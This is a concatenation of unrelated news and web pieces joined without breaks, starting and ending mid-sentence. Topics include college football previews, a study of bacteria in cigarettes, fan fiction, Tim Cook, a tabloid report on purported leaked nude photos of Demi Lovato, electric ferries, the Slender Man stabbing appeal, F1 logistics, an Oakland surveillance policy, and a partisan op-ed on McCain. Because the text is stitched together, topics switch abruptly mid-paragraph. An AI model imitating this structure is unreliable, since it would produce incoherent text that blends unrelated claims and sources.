games. Wide receiver Ty Montgomery has caught four of Hogan’s seven touchdowns. Worth noting that the Cougars enter the game with the league's top passing defense, which has yet to allow a touchdown through the air. As a whole, the Cougars are yielding just 12 points per game and the defense has given up just four touchdowns. But the bread and butter is still the running game. And Washington State coach Mike Leach knows it. “Offensive line and defensive line, no question,” is what Leach told reporters when asked about Stanford’s strength. “Not to take away from any of the others, but when I think of Stanford that’s what I think of -- offensive line, defensive line and real tough running backs.” So far this season, Washington State has thrown on 74 percent of its offensive plays -- second in the FBS only to SMU. And they are the only team that has attempted fewer than 20 rushes per game. Additionally, the Cougars are gaining 62 percent of their receiving yards after the catch. That’s going to put a lot of pressure on a Stanford secondary that will be without safety Ed Reynolds, who was suspended for the first half of the game because of a targeting penalty against Arizona State. It was Reynolds who had the pick-six against the Cougars last season. “I think Ed Reynolds learned a lesson,” Shaw said. “I think we all have, continually. We rep it every single day in practice. I was honestly shocked because Ed never tackles like that. But he lowered his head and this is the result." Despite that loss, and the loss of Stanford All-American offensive guard David Yankey, who returned home to Georgia this week to deal with an unspecified family issue, Leach said he’s still expecting Stanford’s best. “I think they’re one of the top programs in the country,” he said. “I think our conference is full of them. From one week to the next, we’re full of great teams in this conference, so you just do your best, line up and play ‘em. But that’s what makes this conference exciting, is you know you’re getting tested against the best.”The tobacco in cigarettes hosts a bacterial bonanza — literally hundreds of different germs, including those responsible for many human illnesses, a new study finds. “Nearly every paper that you pick up discussing the health effects of cigarettes starts out with something to the effect that smokers and people exposed to secondhand smoke experience high rates of respiratory infections,” notes Amy Sapkota of the University of Maryland, College Park. The presumption has been that smoking renders people vulnerable to disease by impairing lung function or immunity. And it may well do both. “But nobody talks about cigarettes as a source of those infections,” she says. Her new data now suggest that’s distinctly possible. If these germs are alive, something she has not yet confirmed, just handling cigarettes or putting an unlit one to the mouth could be enough to cause an infection. The idea that tobacco might contain viable germs isn’t just idle conjecture. Several research teams have isolated bacteria from tobacco that they could grow out in petri dishes. Those earlier investigations tended to hunt for — and, when found, attempted to grow — only one or two species of interest, Sapkota says. What’s novel in her study: She and her colleagues probed for genetic material from any and every bacterium in a cigarette’s tobacco. Under sterile conditions, the researchers opened up cigarettes and then performed a series of tests on the leafy bits. For instance, they isolated all of the ribosomal material and then homed in on its long, species-specific stretches known as 16S regions. These genetic segments were then compared to 16S patches characteristic of known bacterial species. Sapkota’s team had 16S probes for close to 800 different bacteria and found matches to many hundreds in the four brands of cigarettes screened: Marlboro Red, Camel, Kool Filter Kings and Lucky Strike Original Red. These cigarettes are “among the most commonly smoked brands in Westernized countries and represent three major tobacco companies,” Sapkota notes. All were purchased in Lyon, France, where she was completing her postdoctoral studies. Among the large number of germs whose DNA laced these cigarettes were: Campylobacter, which can cause food poisoning and Guillain-Barre Syndrome; Clostridium, which causes food poisoning and pneumonias; Corynebacterium, also associated with pneumonias and other diseases; E. coli; Klebsiella, Pseudomonas aeruginosa and Stenotrophomonas maltophilia, all of which are associated not only with pneumonia but also with urinary tract infections; and a number of Staphylococcus species that underlie the most common and serious hospital-associated infections. Sapkota’s team lists many of these — including the most prevalent bacteria in the tobacco they studied — in a paper published early, online in Environmental Health Perspectives. Some people have criticized the idea of infectious cigarettes, arguing that as tobacco burns, it would kill any germs present. But Sapkota is not so sure that's true. The tobacco farthest from the burning tip might be a balmy temperature, from a bacterial point of view. And here’s “a really wild idea,” she says: What if the smoke particles traveling through the still-unburned part of a cigarette pick up some germs and then ferry them deeply into the lung, where they’re unlikely to be cleared? Wouldn’t that be the prescription for disease? Of course, there’s also plenty of chances for a smoker to become exposed prior to lighting up. And, of course, the potential for highest oral exposure would come from chewing tobacco — and nasal exposures from snuff. Sapkota, an environmental health scientist, plans to follow up her preliminary data to see which types of tobacco are most likely to host viable germs, and whether those bacteria are transported into the body, either during smoking or by the insertion of unburned tobacco products (including chewing tobacco) into the mouth. Several thousand potentially toxic chemicals have been isolated from cigarettes. Sapkota says that it’s not hard to imagine that the number of germs hosted by tobacco products could rival that of the carcinogens and other poisons residing in or produced by burning tobacco. How so, when she's only found genetic material indicting hundreds of germs? Owing to the bacterial probes available when Sapkota began her tobacco work, she was only able to screen for 700-odd species. But newer probes on the market can now screen for the bacterial 16S genetic material of 5,000 or more germs. And if she used such huge batteries of probes now, she said she fully expects she could turn up at least 1,000 hitchhiking bacterial species in tobacco products. Image: Flickr/alphadesigner See Also:"Ruby… Hey, Ruby!" "Mwaaaah…" Slowly, Ruby lifted her head up off the desk, looking up at the person who had violated her beauty sleep. "Blake?" "Yeah, it's me," the cat faunus confirmed, a look of curiosity on her face. "You were dreaming about something." "Just…" Ruby's jaw practically unhinged as she yawned. "You know. Simpler times." Blake nodded wearily. "Yeah, I know the feeling. The parts hulk got possessed by another Grimm about an hour ago, and we need you to help us get it out without wrecking the thing." "Again?" Ruby groaned, rising from the chair and working out a crick in her neck. "That's the third time this week!" "There's gotta be something we can do," Blake muttered to herself as the two set off for the main cave complex. "Maybe if we…" Ruby let her friend's words wash over her. Simpler times they may have been, but she wouldn't trade her current moments for anything in the world. Click to expand...In a New York Times article this week, Apple CEO Tim Cook claimed businesses need to start acting in place of the government, which “isn’t working at the speed that it once was.” “The reality is that government, for a long period of time, has for whatever set of reasons become less functional and isn’t working at the speed that it once was,” claimed Cook to The Times. “And so it does fall, I think, not just on business but on all other areas of society to step up.” The New York Times attempted to paint Cook and other major company CEOs as the next generation of politicians, proclaiming that the Apple CEO had just been on a “mini-tour across the country during which he focused on topics usually reserved for politicians: manufacturing, jobs, and education.” “He had just spent the prior day in Ohio, where he toured CTS, a technology company that produces the equipment that Apple uses to test water resistance and dust protection for the iPhone and the Apple Watch,” they reported. “He then flew to Des Moines, where he announced plans to make a $1.3 billion investment in a 400,000-squarefoot data center in nearby Waukee to help store and move giant amounts of information for its services like iCloud and FaceTime. And he arrived here to announce that Austin Community College will begin offering its 74,000 students a curriculum that Apple developed to teach them how to write code to create apps for iPhones. Austin is one of 30 community colleges that will offer the curriculum.” After explaining that Cook was irritated by “Washington’s seemingly perpetual state of gridlock,” The Times claimed he is now “one of the many business leaders in the country who appear to be filling the void, using his platform at Apple to wade into larger social issues that typically fell beyond the mandate of executives in past generations.” “He said he had never set out to do so, but he feels he has been thrust into the role as virtually every large American company has had to stake out a domestic policy,” the article explained, before adding, “Is his focus on jobs and speeches in front of American flags a hint at something bigger? After all, Mark Zuckerberg’s name is now regularly bandied about in discussions of potential presidential candidates.” Apple has repeatedly banned free speech social network Gab from its App Store, citing “objectionable” user content, despite the fact that flagged posts could also be found on social networks such as Twitter, which are readily available on the store. In response, Gab, which has raised over $1 million in public investments, launched a legal fund to take on large technology companies who are cracking down on free speech. Facebook CEO Mark Zuckerberg has also been rumored to run for president in 2020, after he embarked on a tour of the entire United States and hired one of Hillary Clinton’s top campaign strategists. In a profile of Instagram CEO Kevin Systrom this month, Wired claimed that the concept of free speech was starting to lose support in Silicon Valley, with major CEOs doubting the First Amendement.Demi Lovato appears to be the latest victim of a nude photo leak — after multiple X-rated and self-shot pics apparently of the The X Factor judge were offered for sale to RadarOnline.com. More than 20 purported images of the 20-year-old Firestarter singer were emailed to this website last week. They show a dark-haired woman who looks identical to Lovato in a raft of compromising positions, including nude in a bath tub and lying topless in bed, among other poses. PHOTOS: Celebs Who Are Most Popular On Twitter Radar has been unable to verify the breast-baring images are authentic, however the woman in the images has some tell-tale signs suggesting it is indeed the ex-Sonny with a Chance actress. She has the same tattoos as Lovato, including 12 black birds on her right forearm. The supplier of the candid images told RadarOnline.com: “These are Demi. The collection I have show some nude, including face, some including parts of the body Demi is known for — tattoos, butt, chin. Then, I have pictures of her getting rowdy… I can guarantee you these photos are legitimately of Demi. ” PHOTOS: Celebs Who Have Been In Rehab If the naughty photos were to be published — Radar has chosen not to — The X Factor‘s massive marketing and production plans could be thrown into complete turmoil on the eve of the third season. It is not known how the naked images were leaked and whether Lovato is the victim of a cyber crook, however, her name has been brought up in the past as someone who was hacked. A hacker was reported to have nude photos and videos of at least 50 female celebrities – including Scarlett Johansson, Selena Gomez and Miley Cyrus — after they hacked into their cell phones and other devices to obtain the compromising images. PHOTOS: Stars Who’ve Done Full Frontal Nudity The FBI was also involved in several celebrity nude pix hacking situations — involving Vanessa Hudgens, Rihanna, Jessica Alba and more. Lovato nor her rep wanted to make an official statement about the apparent leak after Radar notified them of it on Friday.Washington is poised to embark on an experiment in electric car ferries that could eventually transform the largest ferry fleet in the nation. And little Skagit County is leading the way, as it moves to replace its old diesel-powered Guemes Island ferry with a battery-powered, zero emissions model. That would make the run between Anacortes and the island the nation's first all-electric car ferry operating with batteries, and one of the first in the world. Ditching diesel ferries in favor of all-electric or hybrid vessels would have far-reaching benefits, proponents say, including cleaner air and reduced carbon dioxide emissions. And the quieter electric engines would reduce underwater noise, which scientists now recognize as a key threat to the survival of endangered killer whales, salmon and other marine wildlife. “There’s just so many benefits from this,” said Skagit County Commissioner Ken Dahlstedt, who is leading the charge on the Guemes Island ferry. Inspired by Norway’s recent embrace of electric ferries, Dahlstedt saw an opportunity to try out the technology in his county, which was in the market for a new ferry. The 38-year-old diesel clunker that now plies the route is on its last legs, and maintenance costs have become prohibitive. The short Guemes Island run, at just over half a mile, “is a perfect place to start for a pilot project,” Dalhstedt said. “But our ferry is really only the tip of the spear. We're hoping that we can be the pioneers here in the U.S.” The Guemes Island ferry in operation. Credit: Courtesy of Skagit County Washington State Ferries is also studying the idea of converting some of its 22 vessels to hybrid electric, after a multi-year effort to move to liquefied natural gas stalled due to lack of funding from Olympia. Electric technology “is something we’re really excited about,” said Ian Sterling, public information officer for State Ferries. Many state ferries already have electric motors, but that electricity is generated by a diesel engine. So it should be relatively simple to use a big battery to generate power, Sterling said. The ferries would still have diesel engines but would run off a battery when possible. “So it's a pretty cool thing, and with the battery technology becoming more mature, it's become much more realistic for us,” Sterling said. “And it's also something we believe would... pay for itself relatively quickly.” However, Sterling cautioned, it’s premature to speculate on costs or a timetable. In the years the state spent considering liquefied natural gas as a cleaner alternative to diesel, other countries have moved on to electric. Norway is now converting dozens of routes to all-electric or plug-in hybrids. A similar effort in Washington could slash the state’s marine emissions of carbon dioxide and other pollutants. A new electric Guemes Island ferry alone would cut carbon dioxide emissions by 620 metric tons a year, the county estimates. That’s the equivalent of taking about 132 cars off the road. While battery-only ferries might not be feasible for some longer routes, even hybrid engines could dramatically trim the 18 million gallons of diesel Washington State Ferries use each year. Imagine that reduction in terms of the controversial coal trains that go rolling through Puget Sound, Skagit’s Dahlstedt said. Converting all state ferries to electric “would eliminate a coal train worth of carbon dioxide per year,” he said. Electric-powered ferries would not only make the air cleaner for people, but could also make the waters quieter for the region’s struggling Southern Resident killer whale, or Orca, population. Noise from ships and boats interferes with Orca’s ability to locate increasingly scarce Chinook salmon and to communicate with each other. Rising underwater noise levels, combined with declining prey and chemical contaminants, are threatening the animals’ survival. Ferries are one of the top sources of overall underwater vessel noise, a recent study for the Port of Vancouver in Canada found, because of the high quantity of vessel (or ferry) trips and the amount of time they spend on the water. Using electric and hybrid engines is one way to reduce vessel noise, another port study concluded. Trimming long-term maintenance and operational costs is another benefit of electric ferries, said Bruce Agnew, director of the Discovery Institute’s Cascadia Center for Regional Development, which promotes transportation and sustainable development issues across Washington, Oregon and British Columbia. With access to inexpensive hydropower, the state and counties would save money on diesel fuel. That means more money for maintenance, and thus better service, Agnew said. The state has struggled to keep its aging fleet running, often resulting in service cuts. In recent weeks, two broken Washington State Ferries have led to canceled sailings and major delays on San Juan Island routes. But the up-front costs of electric ferries and related infrastructure, such as battery charging stations, can be daunting, especially given other transportation needs in a rapidly growing region. Skagit County said it is still nailing down the exact costs for the new Guemes Island ferry, but based on Norway’s experience, the full project could run roughly $20 million. “And for a small county, $20 million... is a big lift,” Agnew said. A new diesel ferry would cost $12 to $16 million, according to Skagit County's public works director, Dan Berentson. Charging stations and other one-time facility improvements needed for an electric ferry account for most of the price difference. Skagit County is moving ahead with plans to have the new Guemes Island ferry on the water by 2020. Officials there received a study in 2016 that laid out options for powering the ferry; it concluded that an all-electric propulsion system “is highly feasible for this particular route and its unique environmental conditions.” The county recently contracted with the Seattle naval architecture firm Glosten to complete a partial design for a new Guemes Island ferry by the end of the year. That will allow the county to better estimate costs and begin applying for grants, Berentson said. On Aug. 29, the county commissioners will hold a meeting to discuss the plans to use all-electric technology with residents. The project’s boosters say the ferry, which will likely be built in-state, could help make Washington a center of innovation for electric propulsion, not just for ferries, but for all types of ships. “If the technology pans out as we expect it will, it could have major implications on all maritime traffic coming in and out of the Salish Sea,” Agnew said. “This could put the Salish Sea on the map, politically and environmentally.” This story has been updated since it first appeared to clarify the description of the power system. A cable-guided ferry on the Willamette River in Oregon operates with electric power provided by an electric line.Morgan Geyser (left) and Anissa Weier (right) will remain in adult court on charges they tried to fatally stab a classmate. The Court of Appeals rejected a bid to move the cases to juvenile court. Credit: Journal Sentinel files SHARE Waukesha Stabbing Two 12-year-old girls are charged with attempted first-degree intentional homicide for what police say was a plot, planned over months, to kill their classmate. Morgan Geyser and Anissa Weier reportedly stabbed their victim 19 times with a five-inch blade. Go to section By of the Two Waukesha girls who were 12 when prosecutors say they tried to kill their sixth-grade classmate are properly charged as adults, the Court of Appeals ruled Wednesday. The decision affirmed a trial judge's ruling last year that Morgan Geyser and Anissa Weier had failed to show, "by a preponderance of evidence," that they should be transferred from adult court to juvenile court. That decision, according to the appeals court, was within the judge's discretion. "We will not overturn a circuit court's discretionary determination if the record reflects that discretion was exercised; instead, we will seek out reasons to sustain the decision." Angie Geyser said she was disappointed and noted the opinion misstates that her daughter, diagnosed with early onset schizophrenia, refuses medication. Morgan Geyser started medication after her civil commitment to a state mental hospital about seven months ago. "She has developed insight into her illness and wants to continue on the path to recovery," Angie Geyser said. "Keeping her in the adult system, with the possibility of eventually ending up incarcerated in an adult prison, will do nothing but ensure that this does not happen." The opinion was issued jointly by Court of Appeals Chief Judge Lisa Neubauer, and judges Paul Reilly and Brian Hagedorn, also of the District II court. Geyser and Weier, who are now 14, were charged as adults in June 2014 with luring a classmate to the woods May 31, 2014, after a sleepover and stabbing her 19 times before leaving her for dead. The victim, Payton Leutner, managed to crawl near a path, where she was found by a passing bicyclist. Both girls later told police they were trying to either impress or avoid the wrath of Slender Man, a fictional internet boogeyman the girls said they believed would harm them or their families if they didn't kill their friend. The crime made headlines around the world. Defense attorneys tried to have the cases transferred to juvenile court, but Waukesha County Circuit Judge Michael Bohren denied their motions in August after lengthy hearings. Both girls appealed. The appeals court found Bohren properly exercised his discretion when he "rationally considered the relevant testimony, applied the proper legal standard, and reached a conclusion that a reasonable judge could reach." Bohren found that, despite evidence of the girls' nonviolent histories and psychological issues, having them prosecuted as juveniles would "unduly depreciate the seriousness of the offense," noting that they had discussed the crime for months beforehand, lied to the victim when they told her not to move and they would get help, and tried — however unlikely — to flee by starting to walk to northern Wisconsin. If convicted of attempted first-degree intentional homicide as adults, the girls would face up to 45 years in prison. If adjudicated delinquent in juvenile court, they could be incarcerated three years then subjected to intensive community supervision and treatment until age 18. That distinction also weighed heavily in Bohren's decision. He noted that if sentenced as adults, they could remain subject to monitoring for many years, even if not actually in prison. Each has been held at a West Bend juvenile jail since their arrests May 31, 2014, except for stints at a state mental facility for competency examinations and restoration, and, in the case of Geyser, treatment for early onset schizophrenia, under a civil commitment order. Three-part test During separate hearings in May and June 2015, lawyers for Weier and Geyser tried to convince Bohren of three points: ■That the girls could not get needed treatment in the adult system. ■That prosecuting them as adults is not the only way to deter others from similar crimes. ■That the transfer would "not depreciate the seriousness of the offense." They presented experts on adolescent brain development, psychiatrists and psychologists who examined the girls, their jailers and former teachers. The witnesses described good students with no history of violence or criminal activity. The Court of Appeals recounted testimony that minor girls, whether convicted as adults or juveniles, would be processed and serve their first years of the sentence and treatment at Copper Lake School for Girls, part of the state's troubled youth prison complex. A key difference is that, as adult felons, neither the girls nor and their parents would be involved in the planning of their transition to adult prison or community supervision, while as juveniles, their families would be an integral part of that planning. Bohren found that would not affect the adequacy of treatment.Earlier this season, I wrote how Brandon Allen could “turn the corner” during the Tennessee game. Which you can read by clicking here! Since that article, the Hogs have played Tennessee, Alabama and Auburn. The record in those games are 2-and-1, with a win on the road at Tennessee for the first time since 1992, and a 4 overtime thriller and instant Hog classic against Auburn at home. The lone loss was against Alabama at Alabama, with the Hogs actually leading for 3 and half quarters before finally succumbing to the Crimson Tide. Those three games I thought would be a good measuring stick as they’re all SEC teams and two of the three were on the road, which the past few seasons hasn’t exactly been the Hogs strong point. As noted above, the Razorbacks have won an SEC game on the road this season. That has doubled their win total in SEC road wins since John L. “SMILE!” Smith beat a tire fire of an Auburn football team at Auburn in 2012. As many Hog fans are already very well aware, the injury bug has bit them HARD. Allen started the season without his number one running back Jonathan Williams, and by week three lost his top three returning receivers in Hatcher, Hollister, and Cornelius to various bone related injuries. Not to mention the loss of Kody Walker, the starting fullback and third string running back. Just recently getting back Walker for the Auburn game was huge, and the return of Cornelius expected back this week against UT-Martin. However, the Hogs lost Rawleigh Williams III to a season ending injury last week as well. Brandon Allen coming into this season was expected to be a “game manager.” Before the injuries listed above, his job description was to hand the ball off to Jonathan Williams and Alex Collins, and occasionally throw “pitch and catch” crossing/slant/out routes to tight ends Hunter Henry and Jeremy Sprinkle. After doing that for a few series and getting the defense to come in to stop the run/short tight end routes, they’d throw a play action bomb to a hopefully wide open Keon Hatcher. Sounds pretty nice, right? Well, if if’s and buts were candies and nuts, we’d all have a merry Christmas. The injuries forced Allen to go from “game manager” to “play maker” in the span of 3 weeks. During that time, Arkansas dropped three straight to Toledo, Texas Tech and Texas A&M in overtime. During that stretch Allen threw for as many interceptions as he did touchdowns, three each. You can read more in detail about those three games in the article I linked at the top of the page. However, long story short, he overthrew Hunter Henry in the End Zone twice and under threw a wide open Jeremy Sprinkle a few times in what would have more than likely been crucial TD’s. Then came Tennessee, Allen threw for 11-for-24 for 219 yards and one TD. While Collins and RWIII ran for 100+ yards each. That’s the kind of balance attack we were hoping to see from the Hogs in week one. Allen managed the game, and didn’t turn it over and did what a manager was supposed to do for the most part. However, was he able to shake the monkey off his back? Well, yes and no. On a crucial third down late in the third quarter, Allen scampered out of the pocket and extended the play and put a perfectly thrown ball in the hands of a wide open Hunter Henry streaking down the sideline for a 50+ yard gain that put the Hogs deep into Vol’s territory. It looked like Brandon Allen finally made the clutch play he needed to make, when the Hogs needed him to the most. During that same drive not six plays later however, with the Hogs up 4 and looking to go up by two scores. On a third and long in the Red Zone, Razorback fans saw the all too familiar site of Allen under throwing a wide open Jeremy Sprinkle. That led to a blocked field goal, the next play. The defense however was able to step up and Arkansas was able to hold on to the 24-20 win. So while Allen made a huge play on the drive, he also missed one. So hard to say he really turned the corner. Then the Hogs took a trip to Tuscaloosa, to take on “Saban the Barbarian” and his band of Crimson Tide. This was the definition of a defensive struggle, the Tide’s front seven is probably the best and toughest in all of college football. However, the Razorback defense went blow for blow with them for 3 and half quarters before fatigue and the depth of Alabama were just too much for the young Hog defense. The Tide pulled away late and won 27-14. On the day Allen went for 15-for-32 176 yards for two TD’s and an interception. That stat line put Allen’s QB rating the lowest of the season at 107.5, which isn’t by any means elite, but it’s not terrible. Also, it should be noted, at one point Allen had the longest run on the day for the Hogs at 8 yards. The Hogs offense was overwhelmed all game, you could have put Aaron Rodgers behind center and I don’t think it would have helped that much. That Alabama front seven is just that nasty. So, did Brandon Allen turn the corner? Have to give this a N/A, there really wasn’t much of a chance to make a big or clutch play, however, he did make a great play on a scramble out the pocket late in the fourth and found Dominique Reed, for a TD to bring the score a little closer. The Hogs got a fortunately placed BYE week before the “Gus Bus” rolled into Fayetteville. The game and match up reminded a lot of people of the Tennessee game, except this one was at home. The Tiger Plainsmen overcame a 14 point deficit late, and forced it into overtime. However, Brandon Allen did lead the Hogs on a crucial drive late in the fourth quarter to give the Hogs what at the time looked like a game winning Field Goal, with just over a minute left. After a somewhat “controversial” reversal of an Auburn fumble that got ruled an incomplete pass, the Plainsmen were able to hit a big 41 yard field goal to tie it up. Many Arkansas fans were bracing for the worst, as Coach Bielema hasn’t had much luck in overtime games. Including the Texas A&M loss in OT just a few weeks earlier. However, this time was different. After a quick score in three plays by Auburn, Arkansas was facing a fourth and three on the Auburn six yard line. That’s when Brandon Allen threw a perfect strike right into the chest of a well defended Drew Morgan in the End Zone. Allen came through in a clutch situation. Then, it just kind of “clicked.” The Hog offense fed off the momentum and effort of Allen and Walker, who was running at will through the wore down Auburn defense. What may have been Allen’s best pass of the game, if not year, came on a two point play in the third OT, on a designed roll out. Allen fired a perfect ball into a very small window, in traffic, that found Jeremy Sprinkle. Following that up with a great throw to by Drew Morgan. Allen once again came up big on the two point conversion in the fourth OT, floating a ball right into the hands of a casted Kody Walker. The defense stepped up finally and sealed the win in the fourth OT after breaking up a fourth down pass. I think it’s safe to say, at least in this game, Brandon Allen did in fact turn the corner, and you could see the weight finally crawling off his back, when he met his dad mid-field. Has Brandon Allen finally expelled his demons that has haunted him throughout this season and his time as a Razorback? For right now it seems so. The Hogs get UT-Martin on Saturday from the FCS. After that the Hogs go on a tough two game road stretch, going to an up-and-down Ole Miss team, followed by a trip to Death Valley to take on Leonard Fournette and the LSU tigers. Then two big home games to finish out the season in Mississippi State and Missouri. If the Hogs are able to “right the ship” and make a bowl game, you can look back at the Auburn overtimes, and see where not just Brandon Allen, but the entire Razorback team were able to finally get a giant gorilla off their back.The 2014 Formula One season wraps up this weekend in Abu Dhabi. For some (like Mercedes, which cinched the constructor’s championship a while back and is a lock for the driver's championship), it will be time to celebrate. For others (like Caterham, which is so far in the hole it relied upon crowdfunding to complete the season), it will be a time to ponder the future. But for scores of team logisticians and DHL employees, it will be a time to relax, because they will no longer be in a mad dash to pack and ship 22 cars and a few hundred tons of equipment to the next race. Formula 1 is many things: an elaborate show, an engineering extravaganza and a logistical nightmare. There are 19 races held over eight months on six continents. The turnaround from one race to the next can be as short as one week. Each of the 11 teams will travel about 62,000 miles during the season, bringing with it two cars and roughly 50 tons of stuff. You name it and they're probably hauling it, from spare parts to the pots and pans used in the catering trailers. It's enough to fill six Boeing 747 jumbo jets, and it keeps an army of people on the road for as many as 200 days a year. The work starts about three hours after the checkered flag falls. Once the cars have been through the post-race inspection (to ensure teams haven't done anything illegal to gain a competitive edge), team mechanics strip it to the last component. The engine and gearbox are removed, along with the front and rear wings, mirrors and suspension parts. Each is placed within its own foam-slotted box. But sometimes custom-fitted foam and an anvil
agency that has conducted the monitoring will apply (OPD, OFD, or Port). DAC system/equipment data for storage of outside systems Pursuant to Oakland City Council Resolution 84593 (excerpted above in Section VI.), the addition of any new surveillance, security sensor or video analytics capability, feed or data sources shall require approval of the Council, including confirmation of compliance by the DAC and all City and Port data sources with the City’s Privacy and Data Retention Policy to the extent allowed by law. In the event that Council approves outside camera systems, the DAC will not store (record) data received from outside camera systems except when those systems have no recording capability. Nor will the City attempt to require outside systems to modify their data storage and retention policies. If a private system is connected to the DAC, its data will only be stored at the DAC if an incident that is captured by that feeder system is recorded by DAC staff. If the City provides funding for the purchase and installation of any private or quasi-public video surveillance system that is connected to the DAC, the only data storage requirement that the city will impose is that the owner/operator provide access to the footage for the city when there is a recorded incident or major crime in the area. If the private system wishes to retain data for any length of time, the data will not be subject to the City’s policies. Before any future private video feeds are considered for integration to the DAC system, staff will return to Council for approval. If integration of such outside camera system(s) is approved by Council, the DAC Privacy and Data Retention Policy will be updated prior to implementation. Information sharing In order for the DAC staff to provide any stored data to other agencies there must be a warrant or subpoena for records from the requesting agency. Additionally, if the information, data or video that is being requested is from a third party or outside feeder source, the law enforcement agency seeking such information must go to the original source of the information to request the data, video or information. Outside of ththosescenarios mentioned, the City of Oakland DAC staff must have a written Memorandum of Understanding (MOU) with any outside agencies for information sharing which must be approved by the Oakland City Council pursuant to Oakland City Charter section 504(l).Learn of a new appreciation for subway services with the moe girl mascots of the “Get On! Kyoto City Subway” campaign as they head for the screens on May 27 with a finalized short anime made possible with their crowdfund campaign. First announced in the previous year, the campaign, which was created as a support for the city’s subway service, had not only achieved its initial goal, it earned 10 times more than intended and because of this, the 10-minute short anime will be making its premier at the Live House Kyoto VOXhall where the project’s staff and cast will be making their appearance. The three main moe mascots of this campaign are three high school girls named Moe Uzumasa, Misa Ono, Saki Matsuga, Rei Uzumasa whom were initially created to boost ridership and offset the staggering budget deficit by the Kyoto Municipal Transportation Bureau in 2011. It was 2013 however did the girls gained popularity with an art upgrade by local artist Kamogawa. Not only do they have their images plastered around the Kyoto subway system the also helped bring attention to Kyoto attractions, cooperated with the Kyoto International Manga Anime Fair and Kyoto Gakuen University and even gained a light novel. With the girl’s success in the campaign it has been confirmed that they will be joined by male counter parts, Ryou, Misa’s older brother, and his friend, Takeru. In addition to the two male characters, there is a new character that is being teased for the 20th anniversary of the JR Kyoto Isetan department store and a cafe campaign is launching later this month. The anime short will be featuring the three main girls as they nervously enter into their first day of high school. Playing as the cheerful and level-headed main character, Moe Uzumasa is Nana Hasegawa. Saki Matsuga, the sporty and frank one of the group is being voiced by Yui Tsukada. Last but not least, Mimori Tanigake is playing as the ‘cool straight woman’ with a skill for the guitar, Misa Ono. Any other details and links to related articles can be found at the source: AnimeNewsNetworkLEEDS are trying to bring back veteran scout Ian Broomfield, according to reports. GETTY Garry Monk could sign up veteran scout Ian Broomfield The Sun claim the Elland Road giants are keen to secure a deal for the 66-year-old. Broomfield hasn’t worked at Leeds for 18 years. But he recently left his post at Tottenham and could be moving back to his former stomping ground. GETTY Ian Broomfield helped discover Dele Alli “Garry Monk could sign up veteran scout Ian Broomfield” Broomfield moved to Spurs from QPR in in 2014, but was released by the north Londoners at the end of his contract in December. He was part of the scouting set up that unearthed Dele Alli for £5m from MK Dons. However, several of Spurs’ summer signings have flopped. They spent £70m on four players and only Victor Wanyama has made a positive impression. GETTY Moussa Sissoko has struggled at TottenhamAnn Ravel, one of six members of the Federal Election Commission, called last week for the FEC to take a stand against foreign money in U.S. elections — and on Thursday, she appealed for public reaction. At issue are advisory opinions that gave a green light to domestic subsidiaries of foreign corporations who wanted to make donations to U.S. political campaigns. In her proposal to rescind those opinions, Ravel cited The Intercept‘s recent reporting about American Pacific International Capital, a California corporation owned by Chinese citizens which — thanks to Citizens United and that FEC opinion — was able to give $1.3 million to the Jeb Bush Super PAC Right to Rise USA. In a new post on Medium headlined “Citizens United, Foreign Money, and Your Voice,” Ravel asks interested citizens to contact her with their views on this issue: There are serious concerns about how foreign money may influence elections in the United States, at the federal, state and local level. … That’s why I would like to hear directly from you before the FEC meeting in September where this will be discussed. After you read this, send me your thoughts by emailing CommissionerRavel@fec.gov. The FEC’s job, because we exist in the public interest, is to hear from the public. Ravel points to Supreme Court Justice John Paul Stevens’s 2010 dissent in Citizens United, in which he predicted that the ruling would open the door to foreign money to flow into U.S. politics. Citizens United allowed corporations to make overtly political donations. “Unlike voters in U. S. elections, corporations may be foreign controlled,” Stevens wrote, and the majority’s decision “would appear to afford the same protection to multinational corporations controlled by foreigners as to individual Americans.” As Ravel stated last week in her proposal to the full FEC, given the story of American Pacific International Capital, “This is not a hypothetical concern.” Ravel’s proposal will be discussed at the FEC’s next open meeting, on September 15.At first the unfolding conflict between Russia and its neighbor the Republic of Georgia seemed to be just what the McCain candidacy needed: a foreign policy crisis that would allow him to demonstrate a "tough, decisive, experienced" mastery of foreign affairs, and a new rationale for why Americans should choose experience over change in a dangerous world. But it hasn't taken long for the developments in the Caucuses to become a growing political liability instead. First, the unfolding conflict provides a fresh example of how McCain's War in Iraq has sapped American power and weakened American security. Defense Secretary Robert Gates warned last week that Russia's actions in Georgia might fundamentally alter its relationship with the United States. Of course that is exactly what the Russians have in mind, since they are not at all happy with their current role in the world -- or the way they believe the United States and Western Europe have sought to limit their influence, especially with their neighbors and former client states. Russia has been smarting for years over its inability to prevent the US-lead NATO action that allowed Kosovo to secede from its long-time ally Serbia. It is none too pleased at the agreement to base a US "anti-missile" defense system in Poland. First and foremost, the Russian action in Georgia has been intended to support separatist pro-Russian enclaves of South Ossetia and Abkhazia. But it is also intended to demonstrate to other former Soviet Republics that their alliances with the West have very little value if they come into conflict with Russian interests. The Russians know that the Bush Administration's management of U.S. security policy has left the US with very few options to limit resurgent Russian influence. Of course the crisis in Georgia is just the latest example of how the War in Iraq has massively limited American's ability to respond to this -- or any other -- security crisis. America already had one major military operation underway in Afghanistan when the Bush administration -- with McCain's full support -- recklessly poured most of our other military assets into the invasion of Iraq. Today most Army and Marine units are either deployed in Iraq or Afghanistan, preparing to deploy or recovering from deployment. The fact is that at the present time, we do not have the wherewithal to respond militarily to a crisis even if such a response were necessary or appropriate. As a result, John McCain's strident statements following Russia's military actions only place into relief the reality that he has continuously supported Bush policies that make us weaker -- in spite of his tough talk. Secondly, as the situation in Georgia develops it becomes clearer by the day that the Bush-McCain Iraq policy has severely undercut our diplomatic options as well. Apart from generally poisoning the good will of countries around the world, the Bush-McCain invasion of Iraq lowered the bar for the rest of the world when it comes to justifying the invasion of one country by another. It has made it very difficult for the U.S. to take the moral or political high ground against Russia when just six years ago our country invaded and occupied another nation that had not attacked or immediately threatened us -- and didn't have the weapons of mass destruction that were used to argue that they might "potentially" threaten our security. Finally, the Georgia conflict has shined a spotlight on McCain's chief foreign policy adviser Randy Scheunemann. Scheunamann was a major organizer of the campaign to get the U.S to invade Iraq. He was a board member of the Project for a New American Century that circulated the now-famous manifesto signed by key Neo Cons that first called for the Iraq invasion. He was a founder of the Committee for the Liberation of Iraq. More recently he has been a paid lobbyist for a number of foreign governments including Macedonia, Taiwan and, most importantly, the Republic of Georgia. According to records from the Justice Department's foreign agents registration office, Scheunamann's two-person firm has received $830,000 from Georgia since 2004. Though Scheunamann now claims to have taken a leave of absence from lobbying, his latest contract, with Georgia's National Security Council, was 